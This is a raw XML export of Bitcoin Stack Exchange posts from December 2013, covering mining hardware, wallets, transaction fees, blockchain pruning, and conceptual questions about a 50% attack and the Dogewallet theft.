  <row Id="19370" PostTypeId="1" AcceptedAnswerId="19383" CreationDate="2013-12-26T00:44:50.690" Score="1" ViewCount="479" Body="&lt;p&gt;&lt;strong&gt;Original question:&lt;/strong&gt; How important is a strong CPU and GPU for ASIC mining? I would assume that the GPU could be a cheap one because even if its high-end it probably won't help, and that the CPU should be a decent one to handle all the ASICs. Am I incorrect?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, what is the importance of each part of mining computer in terms of mining? How do the Motherboard, CPU, RAM and GPU affect your experience?&lt;/p&gt;&#xA;" OwnerUserId="11415" LastEditorUserId="5406" LastEditDate="2016-04-25T21:04:54.373" LastActivityDate="2016-04-25T21:04:54.373" Title="Parts of a Bitcoin Mining Rig" Tags="|mining-hardware|asic|gpu|mining-setup|cpu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19371" PostTypeId="1" CreationDate="2013-12-26T00:56:36.160" Score="5" ViewCount="4387" Body="&lt;p&gt;I'd like to view the blockchain on my Windows 7 machine. Right now I'm looking under roaming/Bitcoin/blocks, and trying to open blk00000.dat . I can't read any of it though, it seems the text is garbled. How can I change the format/open it in a program that makes it look more like the raw block data from blockexplorer or something similar?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="11417" LastActivityDate="2017-10-24T21:09:31.787" Title="How can I view the Blockchain locally on my machine?" Tags="|blockchain|block|windows|local|raw|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19372" PostTypeId="2" ParentId="4911" CreationDate="2013-12-26T01:03:53.840" Score="1" Body="&lt;p&gt;What's the deal with Bitcoins is THE book to read to learn about bitcoins. On Amazon and at &lt;a href=&quot;http://bitcoins.peopletested.com&quot; rel=&quot;nofollow&quot;&gt;http://bitcoins.peopletested.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11418" LastActivityDate="2013-12-26T01:03:53.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19373" PostTypeId="1" CreationDate="2013-12-26T01:19:21.357" Score="1" ViewCount="297" Body="&lt;p&gt;This question might have already been answered. If so, can someone send me the link to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say I create a blockchain wallet. It gives me a bitcoin address to deposit coins. Once I send bitcoins to the address that is given how does the system know what account is associated with that bitcoin address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanted to develop a site where you can deposit bitcoins into your account and I want to know how that is done. &lt;/p&gt;&#xA;" OwnerDisplayName="user11419" LastActivityDate="2014-02-24T05:37:37.347" Title="How does your account get credited when you send bitcoins(ex. Coinbase)" Tags="|wallet|blockchain|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19374" PostTypeId="2" ParentId="19373" CreationDate="2013-12-26T02:10:35.043" Score="1" Body="&lt;p&gt;There are no accounts as far as the block chain is conerned.  A transaction will show up in any wallet that contains a private key associated with one of the transaction outputs.  So if you create a wallet, export the private key and then import the private key into a different wallet, a transaction sending coins to the address associated with that private key will show up in both wallets.  Either wallet can spend the coins although this can lead to synchronization problems with the other wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A wallet is responsible for scanning the block chain and recognizing relevant transactions.  If the wallet is online, it is notified when a new block is broadcast so that it can update its wallet transactions.  if the wallet is offline, it needs to scan the block chain when it comes online to pick up any blocks that it missed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the answer to your question is the private keys control which wallets contain a specified transaction.  In your case, you would need to create a different private key for each of your customers.&lt;/p&gt;&#xA;" OwnerUserId="9301" LastActivityDate="2013-12-26T02:10:35.043" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19375" PostTypeId="2" ParentId="16687" CreationDate="2013-12-26T02:57:11.227" Score="3" Body="&lt;p&gt;I'm solo mining AmericanCoin on a US$6/month VPS generating about 7 scrypt kilohashes per second, and just won &lt;a href=&quot;http://jc.unternet.net/blog/?2013-12#T2013-12-26-0224Z&quot; rel=&quot;nofollow&quot; title=&quot;AMC block 55311&quot;&gt;block 55311&lt;/a&gt; about an hour ago, after about 8 weeks of trying with the random-nonce scrypt-mining script linked to from my blog. so it can be done, if the difficulty is low enough. it might have worked just as well or better with the built-in linear-nonce mining code, but I figured using random numbers would give me an edge in the &quot;luck&quot; department.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here's the current difficulty. when I started it was about 1.9, then went up to about 4 before dropping back.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jcomeau@aspire:~$ americancoind getmininginfo&#xA;{&#xA;    &quot;blocks&quot; : 55328,&#xA;    &quot;currentblocksize&quot; : 0,&#xA;    &quot;currentblocktx&quot; : 0,&#xA;    &quot;difficulty&quot; : 3.51815597,&#xA;    &quot;errors&quot; : &quot;&quot;,&#xA;    &quot;generate&quot; : false,&#xA;    &quot;genproclimit&quot; : -1,&#xA;    &quot;hashespersec&quot; : 0,&#xA;    &quot;networkhashps&quot; : 19038678,&#xA;    &quot;pooledtx&quot; : 0,&#xA;    &quot;testnet&quot; : false&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so it's not nearly paying for itself, but as a proof-of-concept it was worthwhile to me, as well as being a cheap way of getting my gambling &quot;fix&quot;.&lt;/p&gt;&#xA;" OwnerUserId="3758" LastActivityDate="2013-12-26T02:57:11.227" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19377" PostTypeId="2" ParentId="19330" CreationDate="2013-12-26T06:59:32.007" Score="2" Body="&lt;p&gt;Bitcoin would be catastrophically broken under such a scenario. Transactions could accumulate any number of confirmations and then unconfirm if blocks leak from one region to another. Bitcoin fails horribly if you are not either connected to none of the hashing power or connected to most of the hashing power. Anywhere in-between, for extended times, is catastrophe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is actually not particularly difficult to fix, but nobody seems particularly interested in fixing it.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-12-26T06:59:32.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19378" PostTypeId="1" AcceptedAnswerId="19380" CreationDate="2013-12-26T07:17:01.877" Score="2" ViewCount="1545" Body="&lt;p&gt;Let's say we're X years in the future and we the last bitcoin has been minted. Since you can no longer incentivize mining new nodes of the blockchain, how will transactions continue to be verified?&lt;/p&gt;&#xA;" OwnerDisplayName="user10259" LastEditorUserId="5406" LastEditDate="2016-03-14T20:28:35.537" LastActivityDate="2018-05-31T21:43:49.767" Title="Transactions are verified by miners. What happens when the last BTC has been mined?" Tags="|blockchain|mining-reward|mining-theory|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19379" PostTypeId="1" CreationDate="2013-12-26T07:21:15.550" Score="2" ViewCount="119" Body="&lt;p&gt;Let's say an organization decides to attack bitcoin by launching a 50% attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone estimate how big the effort is? &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How expensive would such an attack be from scratch (buying enough&#xA;ASICs)? &lt;/li&gt;&#xA;&lt;li&gt;How feasible is it for an organization with a lot of&#xA;computers to do it using their existing computational power?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For example, can a company like google do it by, say, turning 5% of their computers towards attacking bitcoin? &#xA;Can the US government do it (if they chose)? &#xA;Can a few banks group up, buy some equipment and hijack bitcoin this way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that these are all possible in principle, so I'm looking for back of the envelope estimates of how realistically feasible such scenarios are. &lt;/p&gt;&#xA;" OwnerUserId="5960" LastActivityDate="2013-12-27T07:58:26.337" Title="How strong is the bitcoin network?" Tags="|doublespend|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19380" PostTypeId="2" ParentId="19378" CreationDate="2013-12-26T08:06:38.390" Score="5" Body="&lt;p&gt;You can still incentivize mining new blocks with transaction fees. So the premise of the question is false.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2014-01-02T13:59:54.287" LastActivityDate="2014-01-02T13:59:54.287" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19381" PostTypeId="2" ParentId="19379" CreationDate="2013-12-26T08:26:10.107" Score="2" Body="&lt;p&gt;Three months is about the useful life of an ASIC miner. The cost of all practical mining (not including wasteful mining done by botnets and the like) tends to equal the value of all practical mining. So an approximate rule of thumb for the cost of an attack is the value of all Bitcoins mined in three months. Since the block reward is currently 25 BTC, Bitcoins are around $700, and a block is mined around every 10 minutes, you're looking at roughly $200 million. Using existing equipment is impractical -- you need ASICs.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-12-26T08:26:10.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19383" PostTypeId="2" ParentId="19370" CreationDate="2013-12-26T09:20:16.130" Score="2" Body="&lt;p&gt;The hardware of the controller doesn't matter. You can run &lt;code&gt;cgminer&lt;/code&gt; on a Raspberry Pi or a TP-Link router, both are terribly weak and it has absolutely no effect on the ASIC whatsoever. To this end, even KNC mining rigs use Beaglebone Black boards to control their top of the range miners. Most home miners use Raspberry Pi due to their low cost and easy to run software like MiningPeon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CPU, memory, GPU are all largely irrelevant. &lt;/p&gt;&#xA;" OwnerUserId="11426" LastActivityDate="2013-12-26T09:20:16.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19384" PostTypeId="2" ParentId="18373" CreationDate="2013-12-26T09:25:43.607" Score="0" Body="&lt;p&gt;Nope, its about mining solo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really want to jump in scrypt mining then i suggest you take a look at this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.cryptobadger.com/build-your-own-litecoin-mining-rig/&quot; rel=&quot;nofollow&quot;&gt;http://www.cryptobadger.com/build-your-own-litecoin-mining-rig/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it can get you 1900 kH/sec &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.coinwarz.com/calculators/litecoin-mining-calculator/?h=1900.00&amp;amp;p=1000.00&amp;amp;pc=0.10&amp;amp;pf=0.00&amp;amp;d=2919.59659021&amp;amp;r=50.00000000&amp;amp;er=0.03333223&amp;amp;hc=0.00&quot; rel=&quot;nofollow&quot;&gt;http://www.coinwarz.com/calculators/litecoin-mining-calculator/?h=1900.00&amp;amp;p=1000.00&amp;amp;pc=0.10&amp;amp;pf=0.00&amp;amp;d=2919.59659021&amp;amp;r=50.00000000&amp;amp;er=0.03333223&amp;amp;hc=0.00&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hope this helps.&lt;/p&gt;&#xA;" OwnerDisplayName="user10603" LastActivityDate="2013-12-26T09:25:43.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19385" PostTypeId="2" ParentId="19371" CreationDate="2013-12-26T09:33:11.250" Score="2" Body="&lt;p&gt;You can check the log files , but bitcoind clears it when it starts to get bigger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;although you can read the Bitcoin block file using software/application called &lt;strong&gt;Bitcoin Abe&lt;/strong&gt;&#xA;you can parse the data from bitcoin block file to mysql server too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin-abe/bitcoin-abe&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin-abe/bitcoin-abe&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This software reads the Bitcoin block file, transforms and loads the data into a database, and presents a web interface similar to Bitcoin Block Explorer, &lt;a href=&quot;http://blockexplorer.com/&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Abe draws inspiration from Bitcoin Block Explorer (BBE) and seeks some level of compatibility with it but uses a completely new implementation.&lt;/p&gt;&#xA;" OwnerDisplayName="user10603" LastActivityDate="2013-12-26T09:33:11.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19386" PostTypeId="1" CreationDate="2013-12-26T10:12:57.907" Score="0" ViewCount="279" Body="&lt;p&gt;This Christmas &lt;a href=&quot;http://techcrunch.com/2013/12/25/dogecoin-hack/&quot; rel=&quot;nofollow&quot;&gt;several millions of Dogecoins&lt;/a&gt; have been stolen from Dogewallet. &lt;a href=&quot;http://www.reddit.com/r/dogecoin/comments/1toz92/dogewallet_explanation/&quot; rel=&quot;nofollow&quot;&gt;On Reddit&lt;/a&gt; it is explained that the hacker gained access to the filesystem and modified the send/receive page to send to a static address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is a similar theft/hack theoretically possible with the (far more valuable) Bitcoins? Or has this happened already in the past?&lt;/p&gt;&#xA;" OwnerUserId="4284" LastActivityDate="2013-12-26T17:29:41.263" Title="Several millions of Dogecoins have been stolen. Is a similar hack possible with Bitcoin?" Tags="|wallet|hacking|dogecoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19387" PostTypeId="1" CreationDate="2013-12-26T10:38:55.303" Score="3" ViewCount="174" Body="&lt;p&gt;Sometimes when I'm sending a transaction using json-rpc calls to bitcoind, the client adds more than 0.0001 fee. 0.0001 is the TX fee I specified in the settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My understanding is that when the TX size is larger than a certain KB, client automatically adds more  fee. Is this true?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, how can I calculate how much fee a transaction will require before I send it?&lt;/p&gt;&#xA;" OwnerUserId="2995" LastActivityDate="2013-12-26T15:09:07.353" Title="Do bitcoin clients automatically add more fee than specified?" Tags="|bitcoind|transaction-fees|json-rpc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19388" PostTypeId="1" CreationDate="2013-12-26T11:24:39.670" Score="0" ViewCount="382" Body="&lt;p&gt;I have 2 PSU's 850W and 750W 1 motherboard and 4 cards 280x GPU's.&#xA;I would like to connect 2 of the GPU's to a second PSU.&#xA;So it means 2 cards are powered by PSU A. and 2 by PSU A via the motherboard and PSU B via the 8 and 6 pin connectors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will that be OK? Because I heard that you shouldn't connect a GPU to 2 seperate PSU's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I have to buy powered raisers for the 2 GPU's?&lt;/p&gt;&#xA;" OwnerUserId="11429" LastEditorUserId="2306" LastEditDate="2017-04-26T21:33:54.050" LastActivityDate="2017-04-26T21:33:54.050" Title="Can I connect 2 different PSU's to 1 GPU?" Tags="|litecoin|mining-hardware|gpu|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19390" PostTypeId="1" CreationDate="2013-12-26T13:09:44.217" Score="1" ViewCount="180" Body="&lt;p&gt;If I am running an online wallet system how many wallets or users can bitcoind handle? I read somewhere the performance of bitcoind starts deteriorating as the number of wallets increase.&lt;/p&gt;&#xA;" OwnerUserId="11286" LastActivityDate="2013-12-26T13:09:44.217" Title="Number of wallets permitted on a bitcoind" Tags="|bitcoind|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19391" PostTypeId="1" CreationDate="2013-12-26T13:35:41.383" Score="3" ViewCount="127" Body="&lt;p&gt;AT what stage will the blockchain be pruned? With more update of bitcoins the blockchain will start growing exponentially making downloading thereof impractical.&lt;/p&gt;&#xA;" OwnerUserId="11286" LastActivityDate="2013-12-26T14:51:49.407" Title="When will the blockchain be pruned?" Tags="|blockchain|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19393" PostTypeId="1" CreationDate="2013-12-26T14:34:11.793" Score="2" ViewCount="398" Body="&lt;p&gt;Watching an ATM from a large US Bank accept a cash deposit makes me wonder - what would it take to track dollars like bitcoins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Said another way, what would a blockchain for fiat cash look like? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I deposit cash into this ATM, it scans each banknote.  It uses Optical Character Recognition to classify the banknotes by value.  I imagine that the ATM could recognize the serial number from the bill as well, and publish a corresponding transaction to a USD blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/usmt0.jpg&quot; alt=&quot;an automated cash deposit&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="10823" LastEditorUserId="10823" LastEditDate="2013-12-26T17:10:57.417" LastActivityDate="2017-05-14T12:34:31.623" Title="What would it take to track dollars like bitcoins?" Tags="|blockchain|cash|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19394" PostTypeId="2" ParentId="19391" CreationDate="2013-12-26T14:51:49.407" Score="1" Body="&lt;p&gt;This is on the to-do list for the developers.  One proposal is to remove transactions that have been completely spent if they are fairly deep in the block chain (that is, there is minimal chance that a block chain reorganization could occur which would affect the transaction)&lt;/p&gt;&#xA;" OwnerUserId="9301" LastActivityDate="2013-12-26T14:51:49.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19395" PostTypeId="1" CreationDate="2013-12-26T14:52:08.153" Score="1" ViewCount="1343" Body="&lt;p&gt;I bought a small amount of bitcoin. They are in an online wallet. I would like to send them to a more secure wallet, my blockchain.info wallet. I have a few questions about the process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the online sending wallet. I must enter my blockchain.info receiving address. Enter the bitcoin amount. Then hit send. Am I missing any steps? Do I need to do anything with private keys or will that be done automatically? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the receiving blockchain.info wallet. After the bitcoin balance shows up in my wallet, am I required to do anything? Do I need to do anything with private keys? Should I back up the wallet afterwards? &lt;/p&gt;&#xA;" OwnerUserId="11347" LastEditorUserId="5406" LastEditDate="2013-12-28T16:59:25.050" LastActivityDate="2014-08-26T10:11:12.610" Title="How to send bitcoins from an online wallet to a blockchain.info wallet?" Tags="|blockchain.info|sending|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19396" PostTypeId="2" ParentId="19395" CreationDate="2013-12-26T14:59:33.807" Score="1" Body="&lt;p&gt;That's all there is to it.  The wallets handle the private keys.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It you have access to the private keys for the online wallets, it is always a good idea to export them and save them in offline storage (not on your computer).  That way, if the online wallet goes away, you can still recover your coins by creating a new wallet and importing the private keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't have access to the private keys, a better option would be to create your own wallet (either on your computer or offline on paper).  Send the bitcoins to this wallet instead of an online wallet.  This way you are protected if the online wallet disappears or is hacked.  MultiBit, Electrum and Armory are all good wallets, so pick one that meets your needs.  You can find more information &lt;a href=&quot;http://bitcoin.org/en/choose-your-wallet&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;here&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="9301" LastActivityDate="2013-12-26T14:59:33.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19397" PostTypeId="1" AcceptedAnswerId="20748" CreationDate="2013-12-26T15:01:50.893" Score="4" ViewCount="2045" Body="&lt;p&gt;I have recently been trading some altcoin on cryptsy. Since cryptsy doesn't offer markets to exchange altcoin for USD, what's the best practice to convert all your altcoin to FIAT?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be possible to trade them to LTC, move the LTC to another exchange (like btc-e) and finally exchange to USD. Is there a simpler way?&lt;/p&gt;&#xA;" OwnerUserId="11435" LastEditorUserId="5406" LastEditDate="2013-12-28T16:49:39.227" LastActivityDate="2014-01-18T11:01:57.240" Title="How to move altcoins from Cryptsy into USD?" Tags="|withdrawal|cryptsy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19398" PostTypeId="2" ParentId="19387" CreationDate="2013-12-26T15:09:07.353" Score="4" Body="&lt;p&gt;Yes, an additional fee is added for each 1000 bytes in the transaction.  You can get a rough estimate of the transaction size using this formula:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;148*IN + 34*OUT + 10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where IN is the number of inputs and OUT is the number of outputs.  The result can vary by IN bytes since a leading zero is prefixed to keys where the first byte is 0x80-0xFF.  This assumes the transaction is using compressed public keys (bitcoin addresses).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, for the minimal fee, you need to keep the transaction size under 1000 bytes.  Assuming two outputs (the recipient and change), you can have up to 6 inputs without incurring an additional fee.&lt;/p&gt;&#xA;" OwnerUserId="9301" LastActivityDate="2013-12-26T15:09:07.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19399" PostTypeId="1" CreationDate="2013-12-26T15:20:17.870" Score="3" ViewCount="137" Body="&lt;p&gt;I am totally newbie and looking into buying some other coins such as Megacoin and Quark with my bank account. After some research, I found that the only way to buy those coins seems to be buying them with Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there ways for me to directly buy other coins?&lt;/p&gt;&#xA;" OwnerUserId="11434" LastActivityDate="2014-08-23T22:25:48.500" Title="Is bitcoin the only entrance to buying other coins?" Tags="|trading|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19400" PostTypeId="2" ParentId="19365" CreationDate="2013-12-26T15:33:26.210" Score="3" Body="&lt;p&gt;As far as the stopping of mining, no. Even when all 21 million bitcoins have been created there will still be transaction fees which will be given as rewards to miners. It has yet to be seen if this will lead to a reduction in miners or an increase in transaction fees, or both.&lt;/p&gt;&#xA;" OwnerUserId="9654" LastActivityDate="2013-12-26T15:33:26.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19402" PostTypeId="1" AcceptedAnswerId="19414" CreationDate="2013-12-26T16:27:35.430" Score="0" ViewCount="10912" Body="&lt;p&gt;In a moment of carelessness, I mistakenly used one of my wallet's &lt;em&gt;sending&lt;/em&gt; addresses as the recipient for a transfer from a bitcoin exchange. The exchange confirms the transaction completed, but nothing shows up on my end. Is there any way to recover the amount?&lt;/p&gt;&#xA;" OwnerUserId="11438" LastActivityDate="2017-04-19T22:37:18.410" Title="Can I Recover Bitcoins Transferred to a “Sending” Address?" Tags="|wallet|address|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19404" PostTypeId="2" ParentId="2213" CreationDate="2013-12-26T16:37:39.183" Score="1" Body="&lt;p&gt;there are several new mining pool server with new protocol for fastest connection, one of them is eloipool&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See this table for mining pool comparison, &lt;a href=&quot;https://en.bitcoin.it/wiki/Poolservers&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Poolservers&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11439" LastActivityDate="2013-12-26T16:37:39.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19405" PostTypeId="1" CreationDate="2013-12-26T16:38:40.203" Score="1" ViewCount="344" Body="&lt;p&gt;i just installed primecoind and bitcoind and datacoind and i want to know how i can get my address. what is the command options for it? I dont see it in the help list. &lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2013-12-26T23:49:21.947" Title="What is the command for primecoind and bitcoind to see my address?" Tags="|bitcoind|primecoind|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19406" PostTypeId="2" ParentId="19399" CreationDate="2013-12-26T16:44:26.023" Score="1" Body="&lt;p&gt;You can find coin exchange who sell those alt coins, see at MtGox or BTC-e&#xA;other ways to get alt coin such as Megacoin and Quark is by mining that coin&lt;/p&gt;&#xA;" OwnerUserId="11439" LastActivityDate="2013-12-26T16:44:26.023" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19407" PostTypeId="2" ParentId="12012" CreationDate="2013-12-26T16:49:21.313" Score="0" Body="&lt;p&gt;Regarding Hoarding, from &lt;a href=&quot;http://forum.emunie.com/index.php/topic/12-emunie-hoarding/?p=83&quot; rel=&quot;nofollow&quot;&gt;the eMunie forum&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hoarding will always happen, it's natural for people to keep hold of anything that is of value, but, we have tried to implement measures so that this shouldn't be as extreme as with BitCoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main enforcer of this is of course the distribution method of EMU's, which is a radical step in a different direction than BitCoin and all the other Alt's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main problem there is that you get a handful of miners with massive hash power, or a large pool with some miners with large hash power, and they acquire a majority of the BTC created. They hold on to them and supply drops, so the price on the exchanges goes up, to a point where the miners decide now is a good time to cash in, dump those hoarded coins into the market, and the value plummets. Miners are in control of the currency flow within that system, and as always in many systems, you get a few that hold the majority.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With eMunie, the idea is that while 80% of that goes to the hatchers, it is work based, not &quot;first found&quot; based and this alone spreads the allocation around better. For example, a possible and likely common scenario in BTC is of course that one miner finds that block just before you, despite you doing almost the same amount of work, yet they get 100% of the reward. With eMunie, both hatchers would get a near equal share of that reward, thus each of those hatchers can only hoard half as much even with the same amount of work as they would be able to with BTC. Couple that with the fact that a transaction requires at LEAST 2 hatchers to do the same work on it, further spreads that 80% around the hatchers in the system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That alone should reduce the hoarding by a large percentage and keep the supply spread around more accounts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The remaining 20% allocation is spread around everyone else with a stake, and while this may seem like that may promote hoarding, that is not the case. The maximum amount of EMU that any one client can recieve in this 20% spread is 1 EMU, no more. In reality, there will be 100's, 1000's even of account with various amounts of EMU held there, so the hourly 12.5 EMU's will be spread very thin, but spread nontheless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When taken in the context of a thriving eco-system, the fact that 20% is spread everywhere, and quite thinly, and that hatchers are allocated EMU by work and not first found, ensures that the chances of any one account, holding enough EMU to be able to disrupt the market is unlikely.&lt;/p&gt;&#xA;" OwnerUserId="3721" LastActivityDate="2013-12-26T16:49:21.313" CommentCount="0" CommunityOwnedDate="2013-12-26T16:49:21.313" ContentLicense="CC BY-SA 3.0" />
  <row Id="19409" PostTypeId="2" ParentId="19405" CreationDate="2013-12-26T17:11:57.043" Score="1" Body="&lt;p&gt;With bitcoind up and running, you can use this command to check your addresses:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind listreceivedbyaddress 0 true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you want to add a new address, you can use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind getnewaddress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't have primecoind or datacoind installed, so I can't confirm if these commands work for them as well, but the source for both appears to be forked from bitcoind so it should work. The documentation for datacoind and primecoind seems a bit sparse on the net, but you can also try running&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;primecoind help&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;datacoind help&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to check what options are available for them.&lt;/p&gt;&#xA;" OwnerUserId="7583" LastEditorUserId="7583" LastEditDate="2013-12-26T23:49:21.947" LastActivityDate="2013-12-26T23:49:21.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19411" PostTypeId="2" ParentId="19386" CreationDate="2013-12-26T17:29:41.263" Score="4" Body="&lt;p&gt;The attack was made possible by an error of the coin owners (trusting the online wallet) and another error by the online wallet admins (they didn't make public the exact details, but the attacker certainly exploited a vulnerability that should not have been there).&#xA;The same is possible for cash/gold etc: if you trust a safe-deposit box to hold an ounce of gold and a door is accidentally left unlocked, you're pretty much in the same situation as the dogecoin hack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find &lt;a href=&quot;https://bitcointalk.org/index.php?topic=83794.0&quot; rel=&quot;nofollow&quot;&gt;a list of bitcoin incidents at bitcointalk&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3721" LastActivityDate="2013-12-26T17:29:41.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19412" PostTypeId="2" ParentId="2802" CreationDate="2013-12-26T17:31:36.850" Score="3" Body="&lt;p&gt;&lt;a href=&quot;https://www.bitrated.com/&quot; rel=&quot;nofollow&quot;&gt;Bitrated&lt;/a&gt; was recently released and allows using m-of-n transactions, though its not general-purpose and was built specifically for the purpose of arbitration by a trusted third party.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Disclaimer: I created Bitrated)&lt;/p&gt;&#xA;" OwnerUserId="11442" LastActivityDate="2013-12-26T17:31:36.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
